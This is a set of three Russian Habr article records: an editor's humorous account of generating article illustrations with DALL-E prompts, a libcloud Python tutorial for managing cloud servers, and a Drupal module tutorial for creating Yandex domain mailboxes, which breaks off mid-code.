cartoon illustration of a python inspecting a server with a lens in a server room
```
Стиль неплох, но очень уж рукастые питоны! Попробуем снова уточнить про хвост.
```
cartoon illustration of a python with a magnifying glass in its tail in a server room inspecting a server
```
Кажется, руки неизбежны. Что ж, возьмем первого. В конце концов, для мультфильма питон с рукой — это почти нормально.
**Статья:** [Время паять! Подбираем инструменты и осваиваем искусство пайки](https://xakep.ru/2022/06/27/soldering-guide/)
**Идея:** нужно нарисовать паяльник. Пускай вздымается в небо в лучах солнца.
```
soldering iron shining brightly in a ray of light against the sky
```
Это... не паяльники. Пробую еще раз, заменив солнце звездным небом и добавив «реализм» и «высокое качество».
```
high quality realistic soldering iron shining brightly in the night sky
```
Вышли какие-то космические корабли. И у пришельцев явно дурные намерения.
Пробую сделать «картину» и добавить руку и печатную плату в качестве фона.
```
realistic painting of a hand with a soldering iron soldering a computer chip to a pcb
```
А вот это почти хорошо! Берем третий, несмотря на то что человек тычет жалом куда-то в процессор.
**Статья:** [Винда на айфоне. Используем виртуалку UTM для установки Windows на iOS](https://xakep.ru/2022/08/12/ios-utm-windows/)
**Идея:** первая мысль очень прямолинейная — попросим нарисовать айфон с Windows на экране и посмотрим, что выйдет.
```
phone on the table with microsoft windows on screen
```
Да, это определенно какие-то айфоны. Но дизайнил их не Джонни Айв. Да и винды нету.
Пробую тогда попросить знаменитый зеленый холм из Windows XP.
```
iphone laying on the table with windows xp green hill on screen
```
Зеленый экран есть! Зеленого холма нет.
Пожалуй, заставлять DALL-E рисовать реалистичную технику просто бесполезно. Попробуем вместо этого что-нибудь абстрактное. Намекнем на вложенность операционных систем, а чтобы было красиво, сделаем в стиле Сальвадора Дали.
```
screens within screens endless loops in style of salvador dali
```
Тут я усвоил важный урок: если попросить у DALL-E безумную чертовщину, то все получится! Я взял третью картинку из-за того, что она немного напоминает логотип программы UTM, о которой идет речь в статье.
Удачи
-----
Хорошо придуманный запрос, немного везения, и DALL-E способна выдать картинку не хуже, чем с фотостока, а иногда и лучше.
**Статья:** [Микроконтроллер не нужен! Делаем радиоприемник на копеечном китайском чипе](https://xakep.ru/2022/10/26/rda-5807-radio/)
**Идея:** почему-то сразу вспомнился старый мем про троллейбус из буханки хлеба. DALL-E к бою!
```
stock photo of a radio made out of a loaf of bread
```
Все картинки мне очень нравятся, выбираю первую. Радио в наушниках — немного странно, но будем считать, что у него просто такая ручка.
**Статья:** [Privesc as a Service. Повышаем привилегии через Active Directory Certification Services](https://xakep.ru/2022/10/14/active-directory-privesc/)
**Идея:** статья у нас про поддельные сертификаты. Подделку изобразить сложно, поэтому пускай горят, это всегда хорошо выглядит!
Начнем с совсем краткого запроса, посмотрим, что выйдет:
```
burning diplomas
```
Вышло не очень — фотореализм не удался. Наугад пробую добавить «medievel painting» — «средневековая картина».
Отлично! Все хороши, берем второй.
**Статья:** [Мастерская хакера. 13 утилит для Linux, которые пригодятся админу](https://xakep.ru/2022/09/29/13-linux-tools/)
**Идея:** сделаем крутого пингвина, который едет на гоночной машине. В стиле ретровейв для дополнительной крутости.
```
a penguin in cool looking shades driving a ferrari f40 convertible in miami neonwave illustration
```
У предпоследнего потрясающая носовая фигура, но последний почти идеален. Только руль не задался и второе сиденье — с пингвиньим клювом. Но его будет легко замазать в редакторе.
Вдохновившись, запрашиваю еще таких же пингвинов, убрав точную марку машины — DALL-E все равно в них плохо разбирается.
```
a penguin in cool looking shades driving a ferrari convertible in miami neonwave
```
Три результата похуже, но последний просто отличный. Только погляди, как пингвин держит лапкой руль!
**Статья:** [Инфильтрация и эксфильтрация. Изучаем методы передачи данных при пентестах](https://xakep.ru/2022/09/22/infilltration-and-exfiltration/)
**Идея:** долго ломаю голову над инфильтрацией и эксфильтрацией и в итоге придумываю кота, который ворует рыбу у рыбака. Делаю для пробы слегка абстрактный запрос. Добавляю слово «картина», чтобы скрыть возможные огрехи.
```
painting of a cat stealing a fish from a fisherman
```
Кроме последнего, результаты симпатичные, хотя DALL-E почему-то решила, что и рыбак тоже вполне может быть котом. Берем первого, самого душевного, хотя худи (или скафандр?) из шкуры все же вызывает вопросы.
**Статья:** [Вперед в прошлое! Как выжить в Windows 2000 в 2022 году](https://xakep.ru/2022/09/20/windows-2000-today/)
**Идея:** Windows 2000? Это было давно. Пишу: «пещерные люди охотятся на доисторические компьютеры, наскальная живопись». Да простит меня автор!
```
cave painting of people hunting a laptop
```
Охоты на ноутбук не происходит, но результаты тем не менее хороши. Мне особенно понравился первый, где кто-то все же несет топор.
**Статья:** [Ядовитые гифки. Как работает уязвимость GIFShell](https://xakep.ru/2022/09/13/gifshell/)
**Идея:** гифки у меня ассоциируются с пиксель-артом и с летящей Nyan Cat. И попросим одеть кошку в плащ из кислоты.
```
nyan cat in a cape of green acidic fluid pixel art
```
У DALL-E удивительным образом получается почти настоящий пиксель-арт. Да и коты тоже отличные. Мне больше всего понравился первый, но редакционным голосованием выбрали последнего.
**Статья:** [Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0](https://xakep.ru/2022/08/26/remotepotato0/)
**Идея:** вспомнив Мистера Картошку из «Истории игрушек», пытаюсь создать похожего персонажа. Чтобы было совсем как у Pixar, добавим, что нужен высококачественный рендер.
```
high quality rendering of a happy potato with a face in a room
```
Класс! Все картошки прекрасны, некоторые хочется сразу же поставить себе на аватарку. Вторая особенно проникновенная. Берем ее!
**Статья:** [Летние исследования для чемпионов Security. Колонка Дениса Макрушина](https://xakep.ru/2022/09/15/summer-papers/)
**Идея:** чемпион на подиуме с книгой в руках.
```
a painting of a champion standing on a podium with a book in his hand with dramatic backlight
```
Повезло с первого раза. Беру третьего, дорисовываю фон, и готово.
**Статья:** [Суровая жаба. Изучаем защиту Excelsior JET для программ на Java](https://xakep.ru/2022/08/22/excelsior-jet/)
**Идея:** будем рисовать жабу. Большую сердитую жабу, сидящую в болоте.
```
big angry toad staring in dramatic light in a swamp
```
Невероятно, но у нас четыре почти фотореалистичные жабы. Годится любая, я выбрал первую.
**Статья:** [Лето в стиле ретро. Заметки главреда, затерянного в пространстве и времени](https://xakep.ru/2022/08/15/retro-summer/)
**Идея:** это моя предыдущая колонка — о том, как я все лето угорал по ретрогеймингу и ретрокомпьютингу и разъезжал на мотороллере (тоже довольно винтажном). Его и изобразим в лучах заката.
```
retrowave summer yamaha scooter trees against sunset cyberspace
```
Красота какая! Вторая картинка почти идеальна, но придется выправлять или замазывать в редакторе поломанное внизу солнце. Берем четвертую, где кривизна сойдет за стилизацию.
Неудачи
-------
Далеко не все запросы удивляют способностью DALL-E творить шедевры. Я здесь постарался не заниматься черри-пикингом и показать, как работа с нейросетью выглядит в реальности. Обычно мне удавалось в итоге добиться от DALL-E толка, но за два месяца было несколько случаев, когда приходилось оставлять попытки и брать готовую картинку из интернета.
**Статья:** [Уроки форензики. Расследуем заражение машины с Windows шпионским трояном](https://xakep.ru/2022/10/07/cyberdefenders-teamspy/)
**Идея:** шпионские трояны... Что, если попытаться изобразить тест Войта — Кампфа из «Бегущего по лезвию»?
```
Voight Kampff Test
```
DALL-E 2 уловила идею, но не до конца. Я в итоге пошел вспоминать, как выглядело приспособление, и взял картинку из фильма.
Другие подобные случаи я опущу, ничего занимательного в них нет.
Хохмы
-----
Открывать DALL-E, придумывать запрос и ждать результата для меня, несмотря на все сложности, стало одной из приятнейших частей работы. Не в последнюю очередь потому, что результаты часто выходят веселыми — настолько, что можно поржать, как говорится, всем офисом.
**Статья:** [Бан Kiwi Farms. Почему Cloudflare отказалась защищать сайт, где собираются тролли и сталкеры](https://xakep.ru/2022/09/21/kiwi-farms-ban/)
**Идея:** к владельцам форума Kiwi Farms буквально вломилась бригада SWAT. Попробуем это изобразить! Я давно хотел попросить у DALL-E сделать что-нибудь в стиле комиксов Мебиуса, который считается одним из создателей киберпанка как визуального стиля.
```
SWAT team seen through the door in style of mobius comic books
```
Картинки вышли красивые, но, увы, совершенно непонятно, что здесь происходит. Хотелось бы к тому же вид из открытой двери, а не из-за спин. Пробую исправить это.
```
SWAT team looking at you through the open door in style of mobius comics
```
Смотрю на результаты круглыми глазами, потом потихоньку начинаю выть. Продолжаю смотреть, и вой постепенно переходит в ор. На второй картинке, кажется, изображена полиция мемов. Скидываю картинки автору статьи — Маше Нефедовой, она проходит через ту же череду эмоций.
Кажется, нужно менять подход. Я уже выяснил, что у DALL-E отлично получаются забавные овощи и фрукты с глазами. Грех этим не воспользоваться. А киви-пираты вообще будут хитом! Пробуем.
```
a painting of three kiwis with evil faces dressed as pirates dramatic light
```
На мой взгляд, результат великолепный. Однако Маша, критично оглядев наш с DALL-E шедевр, говорит, что, во-первых, киви на вид так себе, во-вторых, владельцы форума имели в виду птичку, а не плоды. Упс!
Ладно, птица так птица. Нарядим ее в черную худи и посадим за ноутбук.
```
evil kiwi bird in a black hoodie in front of a laptop
```
Они все просто прекрасны, и на этот раз Маша не в силах спорить. Второй потрясает нас своей шубой и своим злым «лицом». Но выбираем того, который что-то печатает клювиком.
Правда, Маша к этому моменту уже сама сделала более серьезную иллюстрацию при помощи Midjourney, так что птица отправляется только в соцсети.
**Статья:** [Облака под угрозой. Как пентестить инфру в AWS](https://xakep.ru/2022/09/06/aws-pentesting/)
**Идея:** летящий в облаках черный воздушный шар с черепом и костями. Для красоты просим подсветить лучами солнца.
```
black hot air balloon with skull and bones in the sky with clouds backlit by the sun
```
Хуже всего получились череп и кости, но это легко исправить. Беру первый, замазываю в редакторе странную полосу слева, накладываю картинку с Веселым Роджером.
Но чтобы получить достаточную ширину по горизонтали, нужно больше неба. Не попробовать ли функцию дорисовывания? Отрезаю кусочек неба и прошу DALL-E дополнить его. Ответ совершенно недвусмысленный!
Однако облака — субстанция очень гибкая, можно редактировать как угодно. Без проблем замазываю безобразие и прилаживаю облака к картинке.
**Статья:** [Фундаментальные основы хакерства. Боремся с дизассемблерами и затрудняем реверс программ](https://xakep.ru/2022/08/25/nezumi-hacking-guide-27/)
**Идея:** цикл «Фундаментальные основы хакерства» мы всю дорогу иллюстрировали каким-то стоковым типом в черной худи. Но в честь последнего выпуска, выход которого еще и (почти) совпал с днем рождения Юры Язева, хотелось разнообразия. Что, если вручить хакеру в руки тортик?
```
photo of a hacker in a black hoodie holding a birthday cake dark background backlit
```
Почти хорошо! Но в лица лучше не вглядываться, конечно.
**Статья:** [Перехват VK. Как хакеры используют кликджекинг для деанонимизации](https://xakep.ru/2022/08/19/vk-clickjacking/)
**Идея:** кликджекинг — перехват кликов мышью. Мышей перехватывают кошки, так что попробуем нарисовать кошку, которая ловит компьютерную мышь.
Для начала возьмем мультяшный стиль.
```
cartoon illustration of a cat holding a computer mouse in its mouth
```
В целом не так плохо, и коты забавные, но везде разные изъяны. То мышь не видно, то мышь изуродована до неузнаваемости, то коты слишком кривые.
Решаю попробовать попросить подделку под рендер.
```
high quality octane render of a cat holding a computer mouse in its mouth
```
Коты страшноватые, и белый фон не годится. Делаю еще один заход и прошу добавить желтый фон.
```
high quality octane render of a cat holding a computer mouse in its mouth on a yellow background
```
От души веселюсь, разглядывая результаты. Готового по-прежнему нет, но первому коту хотя бы легко добавить недостающий зрачок. Рисуя, немного умираю внутри от того, какой кот круглый и какие у него **пальцы**.
**Статья:** [Даня снова с нами! Выясняем у Дани Шеповалова, где он пропадал 20 лет и при чем тут гуси](https://xakep.ru/2022/08/18/dayna-interview/)
**Идея:** нужен Даня, ослик и гуси. Сразу мысли о каких-то старинных картинах. Скиталец едет на осле и ведет за собой стаю гусей. Попробуем стилизовать под средневековую икону.
```
a man with a goose and a donkey medieval icon high quality
```
Последняя картинка хороша, но у нашего пророка что-то не то с лицом. Пробую еще раз, подкрепив религиозные мотивы.
```
a man with a goose and a donkey ancient religious painting
```
Картинки отличные, однако нимбы, пожалуй, не к месту. Даня, конечно, легенда, но далеко не святой. Выбираем первую. К тому же эти гуси с ногами (руками?) абсолютно невозможные.
Кошмары
-------
Если нужно нарисовать что-нибудь пугающее, нейросети здесь могут оказать неоценимую помощь. Увы, ограничить крипоту очень сложно, и она вылезает тут и там совершенно непроизвольно.
**Статья:** [Атака Базарова. Evil Twin поверх динамической маршрутизации](https://xakep.ru/2022/09/30/ospf-evil-twin/)
**Идея:** изобразим злого двойника. Скажем, человек стоит перед зеркалом, а отражение — его злая версия. С красными глазами и клыками!
```
illustration of a man in the room looking in the mirror and seeing his angry evil twin with fangs and red eyes
```
Кошмар! Двойники, может, и ничего, но у нас и оригиналы не очень-то добрые вышли.
Если нам нужны клыки, то пускай в зеркале будет орк. В крови!
```
a man looking in the mirror and seeing an orc covered in blood
```
Мне понравилось, что одно из отражений еще и держит в руках зеркало. Может быть, третий вариант чуть лучше других, но в целом все это никуда не годится.
Пробуем слегка другой подход. Пускай человек видит себя демоном из ада.
```
illustration of a man in the room looking in the mirror and seeing himself as a demon in hell
```
Первый вроде бы ничего! Но тут я решил дать выбор самому автору статьи. А тот сразу сказал, что вторая картинка из первого запроса идеальна. Попросил добавить на грудь его любимую руну, я, конечно же, добавил.
Позднее, когда мы назначили эту статью темой сентябрьского номера, художник перерисовал для обложки картинку заново. [Результат](https://xakep.ru/issues/xa/282/), конечно, совершенно другого уровня.
**Статья:** [Анатомия эльфов 2. Разбираем устройство ELF-файлов в подробностях](https://xakep.ru/2022/08/31/elf-anatomy-2/)
**Идея:** попробуем нарисовать что-то вроде анатомического атласа, но для эльфа и с подписями на эльфийском. Подписи — большой риск, любые буквы DALL-E даются очень плохо.
```
anatomic picture of an elf
```
В принципе, неплохо, кроме того, что эльфы не те — слишком сказочные. Попробуем еще разок, добавив упоминание эльфийских рун. Возможно, это как раз наведет DALL-E на мысль о толкиеновских эльфах.
```
anatomic picture of an elf annotated with elven runes
```
Эльфы стали более фэнтезийными, но все страшноватые. Пробую еще раз.
```
anatomic diagram of an elf annotated with elven runes
```
Эльфы все страшнее и страшнее. Это уже не Толкиен и даже не Перумов. Впрочем, первая картинка хотя бы достаточно абстрактная. Отправляю запрос еще раз, на удачу поменяв синоним для диаграммы в надежде, что эльфы будут в разрезе.
```
cross-section anatomic diagram of an elf annotated with elven runes
```
Ну все, дело сделано, теперь это настоящее топливо для кошмаров, особенно этот ELL без лица и с роскошными рогами (и потрясающей диаграммой).
Советы
------
За эти два месяца я неплохо натренировался в обращении с DALL-E. Попробую поделиться некоторыми советами.
* Лучше всего у DALL-E получается подделываться под сюрреализм — недаром название намекает на Сальвадора Дали.
* Другие известные художественные стили тоже срабатывают. Смело добавляй к запросу имя любимого художника.
* Фотореалистичные изображения иногда получается хорошо (как в примере с жабой), но если тебе нужно нарисовать лицо человека или какое-то устройство, то добиться правдоподобия будет очень тяжело.
* Рендеры, карандашные наброски и карикатуры иногда получаются неплохо, но это чистой воды удача. Вообще, чем меньше в целом деталей, тем скорее DALL-E нарисует что-то лишнее.
* Не забывай указывать, где происходит действие, иначе есть шанс получить белый фон.
* Просить «высокое качество» не помешает, но это не волшебные слова, которые автоматически улучшат любую картинку.
* Нужно обращать внимание на освещение. «Драматичный свет» и «закат» часто улучшают результат.
* Чтобы получить изображение без кривизны, нужно делать очень много запросов, причем лучше всего прорабатывать несколько идей, пока не нащупаешь ту, которая у нейросети получается лучше всего.
Также рекомендую почитать [Ultimate guide to DALL·E 2: how to use it & how to get access](https://dallery.gallery/dall-e-ai-guide-faq/) — подробное руководство по использованию DALL-E 2. И полистать презентацию [The DALL·E 2 Prompt Book](https://dallery.gallery/the-dalle-2-prompt-book/), в которой есть множество примеров запросов.
Выводы
------
Работая с DALL-E, я поначалу чувствовал себя пещерным человеком, которому дали немного поиграть с кремнем и повысекать искры. У нейросетей есть огромный потенциал, и сейчас их развитие — чуть ли не самое интересное, что происходит в области вычислительной техники.
Вопрос о том, лишат ли нейросети работы художников, для меня пока открыт. На мой взгляд, если и лишат, то нескоро, а пока что работы может стать даже больше.
Очень часто картинки нужно дорабатывать, к тому же сами запросы составлять не так-то просто, и познания в истории искусства дают преимущества. В идеале нужно аккуратно направлять нейросеть в сторону задумки — причем не только словами, но и своими набросками.
Недавно мне встретился очень интересный [пример](https://andys.page/posts/how-to-draw/) того, как при помощи локально развернутой нейросети Stable Diffusion и графического редактора можно нарисовать в точности то, что задумано. Предполагаю, скоро появятся и «облачные» редакторы с подобными (и гораздо более продвинутыми) инструментами. И кто-то должен будет учиться ими пользоваться.
Наш пример показывает, что раньше мы не могли позволить себе рисовать картинки для каждой статьи и были вынуждены выбирать из того, что есть на фотостоках, а с DALL-E можем позволить себе гораздо больше иллюстраций. С помощью нейросетей рисовать по картинке в день намного легче, и, естественно, это должен делать специальный человек, а не развлекающийся главный редактор.
Бонус
-----
На сладкое покажу запрос, который я использовал, чтобы сделать обложку к этой статье. Я попробовал образно представить нашу редакцию.
```
office in style of Hieronymus Bosch
```
Поразительное сходство! На первой я работаю [за айпадом с клавиатурой](https://xakep.ru/2022/05/23/magic-ipad/). На второй Валентин Холмогоров оживляет [винтажный компьютер](https://xakep.ru/2020/05/21/diy-hackintosh/). На третьей кто-то из наших авторов начал писать статью и исчез (типично). Ну а на последней Дима Агарунов редактирует какой-то важный бизнес-документ, а вокруг… Кажется, кипит работа.  | https://habr.com/ru/post/707532/ | null | ru | null |
# Управление облаками в Python
#### Облака
Облачные вычисления стали популярными среди широких масс примерно полтора-два года назад, и огромную роль в этом сыграл сервис [Amazon EC2](http://aws.amazon.com/ec2/). Постепенно активность обсуждений этой технологии только возрастала, появлялись сторонники и противники, считающие что это всего лишь очередное модное веяние и ничего больше; некоторые же стали экспериментировать и применять облачные вычисления для решения свох задач.
Довольно долго у EC2 было не много альтернатив, поэтому мало кто задумывался о проблемах миграции с одного клауд провайдера на другой. Однако, в последний год стало появляться все больше и больше компаний, предоставляющих клауд-сервисы адекватного качества по приемлемой цене.
На данный момент EC2, пожалуй, до сих пор остается лидером, однако появилось еще несколько крупных игроков — думаю, такие имена как Rackspace и GoGrid на слуху у всех, кто хотя бы поверхностно интересуется темой. Помимо них на рынке сейчас активны еще не меньше десятка компаний, предлагающих подобные услуги.
Подобное разнообразие уже заставляет внимательнее относиться к вопросу выбора провайдера и задумываться о возможном плане миграции.
#### Зачем нужен libcloud?
Неотъемлемой частью клауд сервисов является наличие API, как правило RESTful или REST-like, который позволяет полностью контролировать клауд инфраструктуру. К сожалению, практически каждый провайдер создает свой API, несовместимый с уже существующими, что весьма неудобно, если вы решите перейти с одного сервиса на другой, и создает дополнительные сложности, если приходится поддерживать несколько разных сервисов одновременно.
Когда [libcloud](http://libcloud.org) зарождался в компании [Cloudkick](https://www.cloudkick.com/) (которую, кстати, совсем недавно купил Rackspace), цель была не только создать инструмент для работы с клаудами из Python, но и сформулировать видение того, каким должен (может) быть обобщенный интерфейс для работы с клаудами, как со стороны API сервисов, как и с клиентской стороны при работе с разными платформами. Например, параллельно с Python версией, развивается Java версия, принцип работы и концепции точно такие же.
Впрочем, не буду углубляться в философские аспекты, а продемонстрирую, что позволяет делать libcloud.
#### Приступаем к работе
##### Установка и настройка
Процесс установки вряд-ли покажется кому-нибудь новым:
`easy_install apache-libcloud`
Второй подготовительный этап — активировать API и получить ключ и пароль. Эта процедура отличается у различных клауд провайдеров и обычно описана у них в документации. Например, в случае ракспейса она выглядит так: зайти на [manage.rackspacecloud.com](https://manage.rackspacecloud.com/), затем в меню *Your Account -> API Access*.
##### Терминология и интерфейс
В libcloud используется следующая терминология:
* *Нода* — экземпляр одного виртуального сервера. У провайдеров обычно называется просто сервером
* *Размер ноды* — физический размер ноды. Для разных провайдеров характеристики отличаются, обычно сюда включается размер оперативной памяти, количество ядер процессора, иногда размер дискового пространства
* *Образ ноды* — образ операционной системы, которая используется для загрузки ноды
Над всеми вышеописанными объектами возможна операция *list* — получить актуальный список объектов. Для нод поддерживается больше операций: их можно *создавать* (*create*), *удалять* (*destroy*), а так же *перегружать* (*reboot*).
##### Просмотр доступных размеров и образов нод
Начнем с простого примера: подключимся к сервису и получим список всех образов с CentOS, а так же список всех возможных размеров нод:
```
#!/usr/bin/env python
from libcloud.types import Provider
from libcloud.providers import get_driver
from secret import access_id, secret_key
if __name__ == "__main__":
Driver = get_driver(Provider.GOGRID)
conn = Driver(access_id, secret_key)
print "images: "
for image in conn.list_images():
if "CentOS" in image.name:
print " %s %s" % (image.id, image.name)
print "sizes: "
for size in conn.list_sizes():
print size
```
Для запуска потребуется создать файл «secret.py» и объявить там переменные access\_id и secret\_key с нужным пользователем и паролем для доступа к API вашего провейдера. Обратите внимание на строку:
`Driver = get_driver(Provider.GOGRID)`
Здесь мы говорим, что хотим использовать драйвер для GoGrid. Для того, чтобы получить список всех поддерживаемых провайдеров, в шелле нужно выполнить следующую команду:
`pydoc libcloud.types.Provider`
##### Создание и удаление нод
Рассмотрим пример создания и удаления ноды. Для создания нам нужно определиться с основными параметрами ноды, такими как имя, размер и образ. В качестве образа опять же выберем первый образ, содержащий в имени CentOS, и возьмем первый попавшийся размер.
```
#!/usr/bin/env python
from libcloud.types import Provider
from libcloud.providers import get_driver
from secret import access_id, secret_key
if __name__ == "__main__":
Driver = get_driver(Provider.GOGRID)
conn = Driver(access_id, secret_key)
image = [image for image in conn.list_images() if
"CentOS" in image.name][0]
size = conn.list_sizes()[0]
new_node = conn.create_node(name='mynode', image=image,
size=size)
print "node created: ", new_node
new_node.destroy()
```
##### Заключение
Как видим, тут тоже все довольно просто и прозрачно; и двумя коротенькими скриптами удалось покрыть почти весь общий интерфейс. Конечно же, функционал libcloud'а на этом не ограничивается, и я не ставлю перед собой задачу составить подробное руководство по использованию, а лишь заинтересовать тех, кто только начинает работать с клаудами и, в особенности, тех людей, которые используют правайдер-специфичные библиотеки.
У более опытных пользователей облаков наверняка возникнет ощущение, что описанного функционала недостаточно. Да, в большинстве случаев действительно требуется использовать нечто большее, и, понятно, что все провайдер-специфичные вещи невозможно покрыть единым интерфейсом.
На этот случай libcloud поддерживает так называемые 'extra' методы в драйверах провайдеров, которые позволяют, например, создавать пары ssh ключей, создавать свои собственные образы нод и т.д. По моим наблюдениям, драйверы популярных провайдеров довольно хорошо покрывают весь функционал и оперативно обновляются. Информацию о том, что поддерживает каждый из драйверов, можно найти в [документации](http://ci.apache.org/projects/libcloud/apidocs/) API самого libcloud.
Надеюсь, libcloud упростит жизнь тем, кто работает с облаками, а моя статья поможет быстро сориентироваться в проекте. | https://habr.com/ru/post/111530/ | null | ru | null |
# Былина о том, как я Drupal и Яндекс.ПДД связывал
Некоторое время назад у меня была идея сделать городской сайт (естественно, очередной) для одного небольшого городка на базе Drupal. Как раз незадолго до этого Яндекс расширил функционал своей Почты для доменов и добавил возможность управлять ящиками через API. И в голове зародилась мысль: а почему бы и нет? Почему бы не предоставить пользователям возможность одновременно с регистрацией на городском портале получать почтовый ящик в городском домене? Сама по себе идея, конечно, не удивительна, однако готовых решений не было. Сайт я так и не запустил, а коду без дела лежать грех.
Как известно, Drupal позиционируется как CMS, ориентированная разработчиков и позволяющая благодаря обширной API разработать хоть систему для управления лунной базой. Я не буду вдаваться в своём посте в её восхваление и самые начальные основы разработки модулей под Drupal, однако начинающие Drupal-разработчики наверняка сочтут материал полезным, а опытным буду благодарен за советы и рекомендации.
#### Постановка задачи
Естественно, приступая к написанию модуля, нужно решить, каким функционалом он будет обладать. Модуль рассчитан на социальный сайт, где смогут регистрироваться пользователи. Следовательно, он должен:
* при регистрации пользователя предлагать ему возможность создать ящик на Яндексе;
* при подтверждении регистрации инициировать создание ящика;
* отображать авторизированному пользователю блок с информацией о количестве новых писем и возможностью перейти в ящик;
* создавать админ-часть для ввода необходимых параметров.
Конечно, можно было бы добавить ещё какие-нибудь плюшки (например, изменять пароль к ящику при изменении пароля в нашей системе, редактировать пользовательские данные, управлять переадресацией), но это скорее излишества.
#### .info-файл
Любой модуль Drupal должен содержать .info-файл со служебной информацией о модуле. Минимальный набор — название модуля, краткое описание и версия ядра, для которой он написан. Но в нашем случае необходимо указать ещё одно поле — зависимости. В логике модуля заложено создание ящиков, логин которых совпадает с логином пользователя. Но чтобы не лишать пользователей возможность создавать кириллические логины и не удивлять ими Яндекс, нам нужен модуль транслитерации. Таким образом, файлик yandex\_pdd.info у нас будет выглядеть следующим образом:
```
name = Yandex PDD
description = Yandex PDD mailboxes autocreation.
core = 7.x
dependencies[] = transliteration
```
Естественно, перед установкой модуля нужно не забыть установить у себя этот самый [transliteration](https://www.drupal.org/project/transliteration).
#### Файл установки и удаления
Ещё один обязательный файл — .install (в нашем случае — yandex\_pdd.install), который определяет используемые модулем базы данных и необходимые действия при установке и удалении модуля. Для работы нам понадобится одна база данных и две переменных. Для начала определим структуру базы (хук [hook\_schema()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_schema/7))
```
function yandex_pdd_schema() {
$schema['yandex_pdd'] = array(
'fields' => array(
'id' => array('type' => 'serial', 'not null' => TRUE), // Идентификатор строки
'uid' => array('type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0,), // Идентификатор пользователя
'login' => array('type' => 'varchar', 'length' => 100, 'not null' => TRUE), // Транслитерированный логин для создания ящика
'activated' => array('type' => 'varchar', 'length' => 1, 'not null' => TRUE) // Флаг активации ящика
),
'primary key' => array('id'),
);
return $schema;
}
```
Первые две колонки, думаю, вопросов не вызывают. В третью колонку мы будем записывать логин самого электронного ящика. Четвёртую колонку стоит разобрать отдельно. В CMS Drupal для активации пользователя необходимо, чтобы он перешёл по ссылке, присланной ему на e-mail, и задал свой пароль. Известный факт, что часть учётных записей никогда не будет активирована (часть спам-ботов и просто странные люди), потому создавать ящик имеет смысл, когда пользователь задаёт новый пароль. Собственно, это заодно позволяет нам создать ящик с этим же паролем. Данный вопрос я ещё затрону ниже.
При удалении модуля описанные в схеме базы удаляются автоматически. А вот переменные, закешированные данные и т.п. следует за собой убрать с помощью [hook\_uninstall()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_uninstall/7).
```
function yandex_pdd_uninstall() {
variable_del('yandex_pdd_domain');
variable_del('yandex_pdd_authtoken');
cache_clear_all('yandex_pdd','cache',TRUE);
menu_rebuild();
}
```
Параметры *yandex\_pdd\_domain* и *yandex\_pdd\_authtoken* задают домен, в котором будут создаваться ящики, и API-ключ соответственно. Расскажу о них подробнее немного позже.
Необходимый фундамент для работы модуля заложен, и мы можем приступать к написанию самого кода модуля. Храниться он у нас будет, как и полагается, в файле с расширением .module (yandex\_pdd.module).
#### Элементы меню
Если модулю Drupal необходимо прописываться в меню, создавать какие-либо страницы и т.п., нам нужно описать всю структуру и необходимые действия при переходе по ссылкам с помощью хука [hook\_menu()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_menu/7). В нашем случае будет использоваться два URL-а: страница настройки модуля и переадресация в почтовый ящик.
```
function yandex_pdd_menu(){
$items = array();
$items['admin/config/content/yandex_pdd'] = array( // Ключ массива - системный путь к странице
'title' => t('Yandex PDD'), // страницы
'page callback' => 'main\_config', // Функция, которая отвечает за генерацию страницы
'type' => MENU\_NORMAL\_ITEM, // Способ подвязки страницы в систему меню CMS
'access callback' => TRUE, // Определяет возможность доступа к странице
);
$items['mailbox'] = array(
'title' => 'Yandex PDD login',
'page callback' => 'mailbox\_login',
'type' => MENU\_CALLBACK,
'access callback' => TRUE,
);
return $items;
}
```
Обратите внимание на использование системной функции [t()](https://api.drupal.org/api/drupal/includes%21bootstrap.inc/function/t/7). Она позволяет переводить элементы текста на текущий системный язык. И да, на странице *mailbox* нам такая возможность не понадобится.
#### Страница настройки
В предыдущем разделе мы рассказали нашей CMS, что страница для ввода необходимых модулю данных будет размещаться по пути *admin/config/content/yandex\_pdd* и обрабатываться функцией *main\_config*. Собственно, CMS на самом деле не в курсе, чем конкретно будет заниматься страница, но знает, что при обращении по данному пути нужно обратиться к данной функции.
```
function main_config(){
$form = drupal_get_form('pdd_config_form'); // Получаем поля формы
$form = drupal_render($form); // Рендерим форму
return $form;
}
```
Для создания страницы мы получаем друпалопонятный массив полей формы обращением системной функции [drupal\_get\_form()](https://api.drupal.org/api/drupal/includes%21form.inc/function/drupal_get_form/7) к пользовательской функции *pdd\_config\_form*.
```
function pdd_config_form($form, &$form_state){
$form=array();
$form['pdd_domain'] = array( // Ключ массива - имя поля в форме
'#type' => 'textfield', // Тип поля
'#title' => t('Domain zone'), // Название поля, понятное пользователю
'#description' => t('A domain zone in which email should be created.'), // Описание поля
'#default_value' => variable_get('yandex_pdd_domain'), // Значение по умолчанию
'#required' => 1, // Флаг обязательности
);
$form['authtoken'] = array(
'#type' => 'textfield',
'#title' => t('Auth Token'),
'#description' => t('Authorization token obtained at Yandex.PDD service.'),
'#default_value' => variable_get('yandex_pdd_authtoken'),
'#required' => 1,
);
$form['submit'] = array(
'#type' => 'submit',
'#value' => t('Submit'),
);
return $form;
}
```
Результат передаётся функции [drupal\_render()](https://api.drupal.org/api/drupal/includes%21common.inc/function/drupal_render/7), которая собирает массив в готовый html-код страницы.
Форма содержит всего два поля:
* *pdd\_domain* — подвязанный к Яндекс.ПДД домен, в котором будут создаваться ящики;
* *authtoken* — авторизационный токен, полученный в настройках API Почты для домена.
Естественно, результаты заполнения формы нам необходимо сохранить. За это отвечает функция *pdd\_config\_form\_submit*, которая просто сохраняет значения полей в системные переменные.
```
function pdd_config_form_submit($form, &$form_state){
variable_set('yandex_pdd_domain', $form_state['values']['pdd_domain']);
variable_set('yandex_pdd_authtoken', $form_state['values']['authtoken']);
}
```
Ещё небольшой кусочек кода — реализация хука [hook\_help()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_help/7), который выводит справочную информацию о модуле в соответствующем разделе админ-части. По поводу этой функции я не заморачивался и пошёл по пути минимализма.
```
function yandex_pdd_help($path, $arg) {
switch ($path) {
case "admin/help#yandex_pdd":
